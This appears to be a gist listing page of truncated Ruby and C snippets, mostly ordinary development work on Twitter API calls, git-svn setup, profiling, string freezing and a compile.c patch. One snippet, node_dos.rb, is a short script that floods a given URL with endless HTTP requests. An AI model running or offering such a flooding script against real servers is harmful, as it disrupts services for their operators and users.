haileys

def get_ids(ids)
  $client.users(ids)
rescue Twitter::Error::NotFound => e
  if ids.size == 1
    []
  else
    a, b = ids[0...ids.length / 2], ids[ids.length / 2..-1]
    get_ids(a) + get_ids(b)
  end
end

haileys

git clone [email protected]:ruby/ruby.git
cd ruby
git svn init svn+ssh://[email protected]/ruby/trunk
mv .git/refs/remotes/origin/trunk .git/refs/remotes/git-svn
git svn rebase
# done

haileys

#!/usr/bin/env ruby
require "./config/basic"
require "rblineprof"
#require "coderay"

req = File.expand_path(ARGV[0] || abort("Usage: lineprof.rb <file>"))
trace = File.expand_path(ARGV[1] || ARGV[0])
 
for file, (_, *lines) in lineprof(/./) { require(req) }
  next unless file == trace

haileys

class String
  prepend Module.new {
    def initialize(*)
      super
      freeze
    end
  }
end

haileys

#include <arpa/inet.h>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

const char* response =

haileys

// this is currently broken

#define _GNU_SOURCE
#include <asm/unistd.h>
#include <errno.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

haileys

require "socket"
require "uri"

url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>"))
sock = TCPSocket.new(url.host, url.port)

loop do
  sock.write "GET / HTTP/1.1\r\n\r\n"
end

haileys

class Session
  attr_reader :session, :params

  def initialize(session, params)
    @session = session
    @params = params
  end

  def login(email, password)
    if account = Account.find_by_email(email)

haileys

diff --git a/compile.c b/compile.c
index 2285d28..02044f3 100644
--- a/compile.c
+++ b/compile.c
@@ -4311,6 +4311,13 @@ iseq_compile_each(rb_iseq_t *iseq, LINK_ANCHOR *ret, NODE * node, int poped)
   break;
       }
       case NODE_CALL:
+	if (nd_type(node->nd_recv) == NODE_STR && node->nd_mid == idFreeze && node->nd_args == NULL) {
+	    ADD_INSN1(ret, line, opt_str_freeze, rb_fstring(node->nd_recv->nd_lit));

haileys

~/ruby char-immediate-value ruby-2.0.0-github λ cat x.rb
str = "hello"

p [str[0], str[0].object_id]
p [str[1], str[1].object_id]
p [str[2], str[2].object_id]

~/ruby char-immediate-value ruby-2.0.0-github λ ./miniruby x.rb
["h", 26652]
["e", 25884]